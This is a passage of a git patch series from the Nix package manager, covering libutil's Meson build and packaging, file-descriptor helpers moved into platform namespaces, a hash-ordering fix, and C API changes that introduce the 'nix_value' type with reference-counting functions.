'exit.hh', + 'experimental-features.hh', + 'file-content-address.hh', + 'file-descriptor.hh', + 'file-path-impl.hh', + 'file-path.hh', + 'file-system.hh', + 'finally.hh', + 'fmt.hh', + 'fs-sink.hh', + 'git.hh', + 'hash.hh', + 'hilite.hh', + 'json-impls.hh', + 'json-utils.hh', + 'logging.hh', + 'lru-cache.hh', + 'memory-source-accessor.hh', + 'muxable-pipe.hh', + 'pool.hh', + 'position.hh', + 'posix-source-accessor.hh', + 'processes.hh', + 'ref.hh', + 'references.hh', + 'regex-combinators.hh', + 'repair-flag.hh', + 'serialise.hh', + 'signals.hh', + 'signature/local-keys.hh', + 'signature/signer.hh', + 'source-accessor.hh', + 'source-path.hh', + 'split.hh', + 'suggestions.hh', + 'sync.hh', + 'tarfile.hh', + 'terminal.hh', + 'thread-pool.hh', + 'topo-sort.hh', + 'types.hh', + 'unix-domain-socket.hh', + 'url-parts.hh', + 'url.hh', + 'users.hh', + 'util.hh', + 'variant-wrapper.hh', + 'xml-writer.hh', +) + +if host_machine.system() == 'linux' + subdir('linux') +endif + +if host_machine.system() == 'windows' + subdir('windows') +else + subdir('unix') +endif + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +libutil = library( + 'nixutil', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = ['-lboost_context', '-lboost_coroutine'] +if host_machine.system() == 'windows' + # `libraries_private` cannot contain ad-hoc dependencies (from + # `find_library), so we need to do this manually + libraries_private += ['-lws2_32'] +endif + +import('pkgconfig').generate( + libutil, + filebase : 'nix-util', + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : deps_public, + requires_private : deps_private, + # avoid absolute paths, use vendored ones + libraries_private : libraries_private, +) + +nix_util = declare_dependency( + include_directories : include_dirs, + link_with : libutil, + compile_args : ['-std=c++2a'], + dependencies : [], +) +meson.override_dependency('nix-util', nix_util) diff --git a/src/libutil/meson.options b/src/libutil/meson.options new file mode 100644 index 000000000..21883af01 --- /dev/null +++ b/src/libutil/meson.options @@ -0,0 +1,5 @@ +# vim: filetype=meson + +option('cpuid', type : 'feature', + description : 'determine microarchitecture levels with libcpuid (only relevant on x86_64)', +) diff --git a/src/libutil/package.nix b/src/libutil/package.nix new file mode 100644 index 000000000..6575b37a6 --- /dev/null +++ b/src/libutil/package.nix @@ -0,0 +1,144 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, pkg-config + +, boost +, brotli +, libarchive +, libcpuid +, libsodium +, nlohmann_json +, openssl + +# Configuration Options + +, versionSuffix ? "" +, officialRelease ? false + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-util"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + ./meson.options + ./linux/meson.build + ./unix/meson.build + ./windows/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + boost + brotli + libsodium + openssl + ] ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid + ; + + propagatedBuildInputs = [ + libarchive + nlohmann_json + ]; + + disallowedReferences = [ boost ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + '' + # Copy libboost_context so we don't get all of Boost in our closure. + + # https://github.com/NixOS/nixpkgs/issues/45462 + + lib.optionalString (!stdenv.hostPlatform.isStatic) ('' + mkdir -p $out/lib + cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib + rm -f $out/lib/*.a + '' + lib.optionalString stdenv.hostPlatform.isLinux '' + chmod u+w $out/lib/*.so.* + patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.* + '' + lib.optionalString stdenv.hostPlatform.isDarwin '' + for LIB in $out/lib/*.dylib; do + chmod u+w $LIB + install_name_tool -id $LIB $LIB + install_name_tool -delete_rpath ${boost}/lib/ $LIB || true + done + install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib + '' + ); + + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib boost}/lib"; + } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + postInstall = + # Remove absolute path to boost libs + '' + sed -i "$out/lib/pkgconfig/nix-util.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' + '' + + lib.optionalString stdenv.isDarwin '' + install_name_tool \ + -change ${boost}/lib/libboost_context.dylib \ + $out/lib/libboost_context.dylib \ + $out/lib/libnixutil.dylib + ''; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libutil/unix/meson.build b/src/libutil/unix/meson.build new file mode 100644 index 000000000..38e5cd3aa --- /dev/null +++ b/src/libutil/unix/meson.build @@ -0,0 +1,17 @@ +sources += files( + 'environment-variables.cc', + 'file-descriptor.cc', + 'file-path.cc', + 'file-system.cc', + 'muxable-pipe.cc', + 'processes.cc', + 'signals.cc', + 'users.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'monitor-fd.hh', + 'signals-impl.hh', +) diff --git a/src/libutil/windows/meson.build b/src/libutil/windows/meson.build new file mode 100644 index 000000000..00320877f --- /dev/null +++ b/src/libutil/windows/meson.build @@ -0,0 +1,19 @@ +sources += files( + 'environment-variables.cc', + 'file-descriptor.cc', + 'file-path.cc', + 'file-system.cc', + 'muxable-pipe.cc', + 'processes.cc', + 'users.cc', + 'windows-async-pipe.cc', + 'windows-error.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'signals-impl.hh', + 'windows-async-pipe.hh', + 'windows-error.hh', +) From 25a98949431af72bfdc00cd7e4e6bab18cdd1ec5 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 12 Jun 2024 18:33:28 -0400 Subject: [PATCH 0815/1251] hash: Compare hash algo second for back compat Previously (in cfc18a77395b5ef49763f77c3cc67a95f762a0eb), we forgot to compare the algo at all. This means we keep the same ordering as before by making the stuff we always have compared take priority. --- src/libutil/hash.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc index 2f2ed8138..7064e96e6 100644 --- a/src/libutil/hash.cc +++ b/src/libutil/hash.cc @@ -52,11 +52,11 @@ bool Hash::operator == (const Hash & h2) const std::strong_ordering Hash::operator <=> (const Hash & h) const { - if (auto cmp = algo <=> h.algo; cmp != 0) return cmp; if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp; for (unsigned int i = 0; i < hashSize; i++) { if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp; } + if (auto cmp = algo <=> h.algo; cmp != 0) return cmp; return std::strong_ordering::equivalent; } From 1dc7c8e59991b15a78504be52931f8561dcff32b Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 13 Jun 2024 13:55:42 +0200 Subject: [PATCH 0816/1251] eval-fail-infinite-recursion-lambda: Reduce recursion depth This prevents the test from failing in environments with a smaller configured stack size. --- .../functional/lang/eval-fail-infinite-recursion-lambda.err.exp | 2 +- tests/functional/lang/eval-fail-infinite-recursion-lambda.flags | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 tests/functional/lang/eval-fail-infinite-recursion-lambda.flags diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp b/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp index 5d843d827..712dd75a8 100644 --- a/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp +++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp @@ -29,7 +29,7 @@ error: | ^ 2| - (19997 duplicate frames omitted) + (197 duplicate frames omitted) error: stack overflow; max-call-depth exceeded at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:14: diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags b/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags new file mode 100644 index 000000000..59e20ec9c --- /dev/null +++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags @@ -0,0 +1 @@ +--max-call-depth 100 \ No newline at end of file From ff87c1a318c8ea5ed8714e2d363d4e080fc93f02 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 13 Jun 2024 10:34:44 -0400 Subject: [PATCH 0817/1251] Put some file descriptor functions in unix and windows namespaces It is misleading when platform-specific functions are in the overall `nix` namespace. More namespaces also makes for nicer doxygen. --- src/libstore/unix/build/local-derivation-goal.cc | 4 ++-- src/libutil/file-descriptor.hh | 10 +++++++--- src/libutil/file-system.cc | 2 +- src/libutil/unix-domain-socket.cc | 2 +- src/libutil/unix/file-descriptor.cc | 8 ++++---- src/libutil/windows/file-descriptor.cc | 4 ++-- src/nix/unix/daemon.cc | 4 ++-- 7 files changed, 19 insertions(+), 15 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 16095cf5d..a99439738 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -1500,7 +1500,7 @@ void LocalDerivationGoal::startDaemon() throw SysError("accepting connection"); } - closeOnExec(remote.get()); + unix::closeOnExec(remote.get()); debug("received daemon connection"); @@ -1961,7 +1961,7 @@ void LocalDerivationGoal::runChild() throw SysError("changing into '%1%'", tmpDir); /* Close all other file descriptors. */ - closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}); + unix::closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}); #if __linux__ linux::setPersonality(drv->platform); diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh index 84786e95a..492b67d74 100644 --- a/src/libutil/file-descriptor.hh +++ b/src/libutil/file-descriptor.hh @@ -140,6 +140,7 @@ public: }; #ifndef _WIN32 // Not needed on Windows, where we don't fork +namespace unix { /** * Close all file descriptors except those listed in the given set. @@ -152,13 +153,16 @@ void closeMostFDs(const std::set & exceptions); */ void closeOnExec(Descriptor fd); +} // namespace unix #endif -#ifdef _WIN32 -# if _WIN32_WINNT >= 0x0600 +#if defined(_WIN32) && _WIN32_WINNT >= 0x0600 +namespace windows ( + Path handleToPath(Descriptor handle); std::wstring handleToFileName(Descriptor handle); -# endif + +} // namespace windows #endif MakeError(EndOfFile, Error); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 919bf5d50..9d6142556 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -546,7 +546,7 @@ std::pair createTempFile(const Path & prefix) if (!fd) throw SysError("creating temporary file '%s'", tmpl); #ifndef _WIN32 - closeOnExec(fd.get()); + unix::closeOnExec(fd.get()); #endif return {std::move(fd), tmpl}; } diff --git a/src/libutil/unix-domain-socket.cc b/src/libutil/unix-domain-socket.cc index 87914bb83..1707fdb75 100644 --- a/src/libutil/unix-domain-socket.cc +++ b/src/libutil/unix-domain-socket.cc @@ -24,7 +24,7 @@ AutoCloseFD createUnixDomainSocket() if (!fdSocket) throw SysError("cannot create Unix domain socket"); #ifndef _WIN32 - closeOnExec(fdSocket.get()); + unix::closeOnExec(fdSocket.get()); #endif return fdSocket; } diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index a74f16ce1..963e75785 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -110,8 +110,8 @@ void Pipe::create() if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe"); #else if (pipe(fds) != 0) throw SysError("creating pipe"); - closeOnExec(fds[0]); - closeOnExec(fds[1]); + unix::closeOnExec(fds[0]); + unix::closeOnExec(fds[1]); #endif readSide = fds[0]; writeSide = fds[1]; @@ -120,7 +120,7 @@ void Pipe::create() ////////////////////////////////////////////////////////////////////// -void closeMostFDs(const std::set & exceptions) +void unix::closeMostFDs(const std::set & exceptions) { #if __linux__ try { @@ -146,7 +146,7 @@ void closeMostFDs(const std::set & exceptions) } -void closeOnExec(int fd) +void unix::closeOnExec(int fd) { int prev; if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc index b5c21ad32..16773e3ea 100644 --- a/src/libutil/windows/file-descriptor.cc +++ b/src/libutil/windows/file-descriptor.cc @@ -122,7 +122,7 @@ void Pipe::create() #if _WIN32_WINNT >= 0x0600 -std::wstring handleToFileName(HANDLE handle) { +std::wstring windows::handleToFileName(HANDLE handle) { std::vector buf(0x100); DWORD dw = GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED); if (dw == 0) { @@ -141,7 +141,7 @@ std::wstring handleToFileName(HANDLE handle) { } -Path handleToPath(HANDLE handle) { +Path windows::handleToPath(HANDLE handle) { return os_string_to_string(handleToFileName(handle)); } diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index de77a7b6b..f1fc51682 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -295,7 +295,7 @@ static void daemonLoop(std::optional forceTrustClientOpt) if (getEnv("LISTEN_PID") != std::to_string(getpid()) || listenFds != "1") throw Error("unexpected systemd environment variables"); fdSocket = SD_LISTEN_FDS_START; - closeOnExec(fdSocket.get()); + unix::closeOnExec(fdSocket.get()); } // Otherwise, create and bind to a Unix domain socket. @@ -323,7 +323,7 @@ static void daemonLoop(std::optional forceTrustClientOpt) throw SysError("accepting connection"); } - closeOnExec(remote.get()); + unix::closeOnExec(remote.get()); PeerInfo peer { .pidKnown = false }; TrustedFlag trusted; From 56f0b5304f14212b111ca51c27f1c216caf3acbf Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 13 Jun 2024 10:50:15 -0400 Subject: [PATCH 0818/1251] Document the `nix-util` Meson build system more extensively I hope this will make it easier to maintain, and also make it easier for others to assist with porting the rest of the build system to Meson. Co-authored-by: Robert Hensing --- flake.nix | 1 + src/libutil/meson.build | 82 ++++++++++++++++++++++------- src/libutil/package.nix | 9 ++-- src/libutil/unix/file-descriptor.cc | 2 + 4 files changed, 71 insertions(+), 23 deletions(-) diff --git a/flake.nix b/flake.nix index 0e29c6e6f..f3660b8bf 100644 --- a/flake.nix +++ b/flake.nix @@ -243,6 +243,7 @@ changelog-d; default = self.packages.${system}.nix; } // lib.concatMapAttrs + # We need to "flatten" packages we care about to pass `flake check`. (pkgName: {}: { "${pkgName}" = nixpkgsFor.${system}.native.${pkgName}; "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName}; diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 8644c69f4..2259d4e22 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -1,5 +1,5 @@ project('nix-util', 'cpp', - version : run_command('cat', './.version', check : true).stdout().strip(), + version : files('.version'), default_options : [ 'cpp_std=c++2a', # TODO(Qyriad): increase the warning level @@ -8,25 +8,61 @@ project('nix-util', 'cpp', 'optimization=2', 'errorlogs=true', # Please print logs for tests that fail ], - meson_version : '>= 0.64.0', + meson_version : '>= 1.1', license : 'LGPL-2.1-or-later', ) cxx = meson.get_compiler('cpp') +# These are private dependencies with pkg-config files. What private +# means is that the dependencies are used by the library but they are +# *not* used (e.g. `#include`-ed) in any installed header file, and only +# in regular source code (`*.cc`) or private, uninstalled headers. They +# are thus part of the *implementation* of the library, but not its +# *interface*. +# +# See `man pkg-config` for some details. deps_private = [ ] + +# These are public dependencies with pkg-config files. Public is the +# opposite of private: these dependencies are used in installed header +# files. They are part of the interface (and implementation) of the +# library. +# +# N.B. This concept is mostly unrelated to our own concept of a public +# (stable) API, for consumption outside of the Nix repository. +# `libnixutil` is an unstable C++ library, whose public interface is +# likewise unstable. `libutilc` conversely is a hopefully-soon stable +# C library, whose public interface --- including public but not private +# dependencies --- will also likewise soon be stable. +# +# N.B. For distributions that care about "ABI" stablity and not just +# "API" stability, the private dependencies also matter as they can +# potentially affect the public ABI. deps_public = [ ] + +# These are dependencencies without pkg-config files. Ideally they are +# just private, but they may also be public (e.g. boost). deps_other = [ ] configdata = configuration_data() -# Check for each of these functions, and create a define like `#define HAVE_LUTIMES 1`. +# Check for each of these functions, and create a define like `#define +# HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1 +# for found. One therefore uses it with `#if` not `#ifdef`. check_funcs = [ - # Optionally used for changing the mtime of symlinks. + # Optionally used for changing the mtime of symlinks. 'lutimes', + # Optionally used for creating pipes on Unix 'pipe2', + # Optionally used to preallocate files to be large enough before + # writing to them. 'posix_fallocate', + # Optionally used to get more information about processes failing due + # to a signal on Unix. 'strsignal', + # Optionally used to try to close more file descriptors (e.g. before + # forking) on Unix. 'sysconf', ] foreach funcspec : check_funcs @@ -35,8 +71,10 @@ foreach funcspec : check_funcs configdata.set(define_name, define_value) endforeach -# Conditional to work around https://github.com/mesonbuild/meson/issues/13293 -if host_machine.system() != 'windows' and cxx.get_id() == 'gcc' +# This is only conditional to work around +# https://github.com/mesonbuild/meson/issues/13293. It should be +# unconditional. +if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') deps_private += dependency('threads') endif @@ -53,7 +91,8 @@ boost = dependency( 'boost', modules : ['context', 'coroutine'], ) -# Actually public, but wrong type of dep for pkg config +# boost is a public dependency, but not a pkg-config dependency unfortunately, so we +# put in `deps_other`. deps_other += boost openssl = dependency( @@ -80,8 +119,10 @@ brotli = [ ] deps_private += brotli -# cpuid only makes sense on x86_64 -cpuid_required = host_machine.cpu_family() == 'x86_64' ? get_option('cpuid') : false +cpuid_required = get_option('cpuid') +if host_machine.cpu_family() != 'x86_64' and cpuid_required.enabled() + warning('Force-enabling seccomp on non-x86_64 does not make sense') +endif cpuid = dependency('libcpuid', 'cpuid', required : cpuid_required) configdata.set('HAVE_LIBCPUID', cpuid.found().to_int()) deps_private += cpuid @@ -89,7 +130,7 @@ deps_private += cpuid nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json -config_util_h = configure_file( +config_h = configure_file( configuration : configdata, output : 'config-util.h', ) @@ -157,7 +198,7 @@ sources = files( include_dirs = [include_directories('.')] -headers = [config_util_h] + files( +headers = [config_h] + files( 'abstract-setting-to-json.hh', 'ansicolor.hh', 'archive.hh', @@ -248,7 +289,7 @@ else linker_export_flags = [] endif -libutil = library( +this_library = library( 'nixutil', sources, dependencies : deps_public + deps_private + deps_other, @@ -259,6 +300,11 @@ libutil = library( install_headers(headers, subdir : 'nix', preserve_path : true) +# Part of how we copy boost libraries to a separate installation to +# reduce closure size. These libraries will be copied to our `$out/bin`, +# and these `-l` flags will pick them up there. +# +# https://github.com/NixOS/nixpkgs/issues/45462 libraries_private = ['-lboost_context', '-lboost_coroutine'] if host_machine.system() == 'windows' # `libraries_private` cannot contain ad-hoc dependencies (from @@ -267,22 +313,20 @@ if host_machine.system() == 'windows' endif import('pkgconfig').generate( - libutil, - filebase : 'nix-util', + this_library, + filebase : meson.project_name(), name : 'Nix', description : 'Nix Package Manager', subdirs : ['nix'], extra_cflags : ['-std=c++2a'], requires : deps_public, requires_private : deps_private, - # avoid absolute paths, use vendored ones libraries_private : libraries_private, ) -nix_util = declare_dependency( +meson.override_dependency(meson.project_name(), declare_dependency( include_directories : include_dirs, - link_with : libutil, + link_with : this_library, compile_args : ['-std=c++2a'], dependencies : [], -) -meson.override_dependency('nix-util', nix_util) +)) diff --git a/src/libutil/package.nix b/src/libutil/package.nix index 6575b37a6..a461dccb8 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -83,9 +83,8 @@ mkDerivation (finalAttrs: { '' echo ${version} > .version '' - # Copy libboost_context so we don't get all of Boost in our closure. - - # https://github.com/NixOS/nixpkgs/issues/45462 + # Copy some boost libraries so we don't get all of Boost in our + # closure. https://github.com/NixOS/nixpkgs/issues/45462 + lib.optionalString (!stdenv.hostPlatform.isStatic) ('' mkdir -p $out/lib cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib @@ -115,7 +114,9 @@ mkDerivation (finalAttrs: { enableParallelBuilding = true; postInstall = - # Remove absolute path to boost libs + # Remove absolute path to boost libs that ends up in `Libs.private` + # by default, and would clash with out `disallowedReferences`. Part + # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround. '' sed -i "$out/lib/pkgconfig/nix-util.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' '' diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index a74f16ce1..bc2b2d614 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -139,7 +139,9 @@ void closeMostFDs(const std::set & exceptions) #endif int maxFD = 0; +#if HAVE_SYSCONF maxFD = sysconf(_SC_OPEN_MAX); +#endif for (int fd = 0; fd < maxFD; ++fd) if (!exceptions.count(fd)) close(fd); /* ignore result */ From 7a5ee5d5973160293fe6b0dcfafc87699a75bd49 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 13 Jun 2024 11:42:17 -0400 Subject: [PATCH 0819/1251] Apply suggestions from code review Co-authored-by: Valentin Gagarin --- flake.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index f3660b8bf..599c6dfbe 100644 --- a/flake.nix +++ b/flake.nix @@ -243,7 +243,7 @@ changelog-d; default = self.packages.${system}.nix; } // lib.concatMapAttrs - # We need to "flatten" packages we care about to pass `flake check`. + # We need to flatten recursive attribute sets of derivations to pass `flake check`. (pkgName: {}: { "${pkgName}" = nixpkgsFor.${system}.native.${pkgName}; "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName}; From 0b56c98b1c10c3ea16b8cda9644e5b656b9d7b67 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 13 Jun 2024 18:18:36 +0200 Subject: [PATCH 0820/1251] C API: Value -> nix_value --- src/libexpr-c/nix_api_expr.h | 3 ++- src/libexpr-c/nix_api_expr_internal.h | 5 +++++ src/libexpr-c/nix_api_value.cc | 11 ++++++++--- src/libexpr-c/nix_api_value.h | 5 ++++- tests/unit/libexpr/nix_api_value.cc | 10 ++++++++++ 5 files changed, 29 insertions(+), 5 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index cb6c00385..140da9e52 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -36,7 +36,8 @@ typedef struct EvalState EvalState; // nix::EvalState * @struct Value * @see value_manip */ -typedef void Value; // nix::Value +typedef struct nix_value nix_value; +[[deprecated("use nix_value instead")]] typedef nix_value Value; // Function prototypes /** diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h index 7743849fd..5a875ef39 100644 --- a/src/libexpr-c/nix_api_expr_internal.h +++ b/src/libexpr-c/nix_api_expr_internal.h @@ -20,6 +20,11 @@ struct ListBuilder nix::ListBuilder builder; }; +struct nix_value +{ + nix::Value value; +}; + struct nix_string_return { std::string str; diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 978cf7f43..dd8382133 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -64,6 +64,11 @@ static nix::Value & check_value_out(Value * value) return v; } +static inline nix_value * as_nix_value_ptr(nix::Value * v) +{ + return reinterpret_cast(v); +} + /** * Helper function to convert calls from nix into C API. * @@ -159,7 +164,7 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state) if (context) context->last_err_code = NIX_OK; try { - Value * res = state->state.allocValue(); + nix_value * res = as_nix_value_ptr(state->state.allocValue()); nix_gc_incref(nullptr, res); return res; } @@ -345,7 +350,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt if (attr) { nix_gc_incref(nullptr, attr->value); state->state.forceValue(*attr->value, nix::noPos); - return attr->value; + return as_nix_value_ptr(attr->value); } nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); return nullptr; @@ -380,7 +385,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta *name = ((const std::string &) (state->state.symbols[a.name])).c_str(); nix_gc_incref(nullptr, a.value); state->state.forceValue(*a.value, nix::noPos); - return a.value; + return as_nix_value_ptr(a.value); } NIXC_CATCH_ERRS_NULL } diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index 244860707..acc4a1969 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -35,8 +35,11 @@ typedef enum { } ValueType; // forward declarations -typedef void Value; +typedef struct nix_value nix_value; typedef struct EvalState EvalState; + +[[deprecated("use nix_value instead")]] typedef nix_value Value; + // type defs /** @brief Stores an under-construction set of bindings * @ingroup value_manip diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index c71593c85..b674d8681 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -4,16 +4,26 @@ #include "nix_api_util_internal.h" #include "nix_api_expr.h" #include "nix_api_value.h" +#include "nix_api_expr_internal.h" #include "tests/nix_api_expr.hh" #include "tests/string_callback.hh" #include "gmock/gmock.h" +#include #include #include namespace nixC { +TEST_F(nix_api_expr_test, as_nix_value_ptr) +{ + // nix_alloc_value casts nix::Value to nix_value + // It should be obvious from the decl that that works, but if it doesn't, + // the whole implementation would be utterly broken. + ASSERT_EQ(sizeof(nix::Value), sizeof(nix_value)); +} + TEST_F(nix_api_expr_test, nix_value_get_int_invalid) { ASSERT_EQ(0, nix_get_int(ctx, nullptr)); From c50db4e58c6f18b9e7948de9d87f5af48b07fa9b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 13 Jun 2024 18:21:04 +0200 Subject: [PATCH 0821/1251] C API: Add nix_value_{inc,dec}ref - Can be implemented more easily by more eval architectures. - Better types in generated bindings remove some uncertainty and doubt. --- src/libexpr-c/nix_api_expr.cc | 9 +++++++++ src/libexpr-c/nix_api_expr.h | 5 +++++ src/libexpr-c/nix_api_value.h | 19 +++++++++++++++++++ 3 files changed, 33 insertions(+) diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index b86d745db..28b8922ce 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -181,6 +181,15 @@ nix_err nix_gc_decref(nix_c_context * context, const void *) void nix_gc_now() {} #endif +nix_err nix_value_incref(nix_c_context * context, nix_value *x) +{ + return nix_gc_incref(context, (const void *) x); +} +nix_err nix_value_decref(nix_c_context * context, nix_value *x) +{ + return nix_gc_decref(context, (const void *) x); +} + void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd)) { #ifdef HAVE_BOEHMGC diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 140da9e52..ce00246c6 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -189,6 +189,11 @@ void nix_state_free(EvalState * state); * you're done with a value returned by the evaluator. * @{ */ + +// TODO: Deprecate nix_gc_incref in favor of the type-specific reference counting functions? +// e.g. nix_value_incref. +// It gives implementors more flexibility, and adds safety, so that generated +// bindings can be used without fighting the host type system (where applicable). /** * @brief Increment the garbage collector reference counter for the given object. * diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index acc4a1969..26044bd57 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -147,6 +147,25 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); */ Value * nix_alloc_value(nix_c_context * context, EvalState * state); +/** + * @brief Increment the garbage collector reference counter for the given `nix_value`. + * + * The Nix language evaluator C API keeps track of alive objects by reference counting. + * When you're done with a refcounted pointer, call nix_value_decref(). + * + * @param[out] context Optional, stores error information + * @param[in] value The object to keep alive + */ +nix_err 